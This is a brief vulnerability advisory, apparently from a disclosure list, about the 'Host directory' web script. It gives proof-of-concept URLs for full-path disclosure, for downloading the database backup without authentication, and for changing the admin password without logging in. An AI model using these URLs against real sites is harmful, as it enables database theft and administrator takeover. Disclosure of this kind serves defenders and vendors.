Host directory full disclosure and input error

Host directory is a product of scriptsfrenzy.com and alstrasoft.com
I check lastest version and maybe infected lower versions. I contacted
vendor 5 times in 2 months but not received any replies.

• FullPath disclosure: http://site.ext/path/ANY_INCORRECT_LINK
  Warning: main(/home/user/public_html/include/ANY_INCORRECT_LINK.php):
  failed to open stream: No such file or directory in
  /home/user/public_html/include/main.php on line 25
• Backup database bypass: http://site.ext/path/admin/backup/db
• Change admin password without login:
  http://site.ext/path/admin/config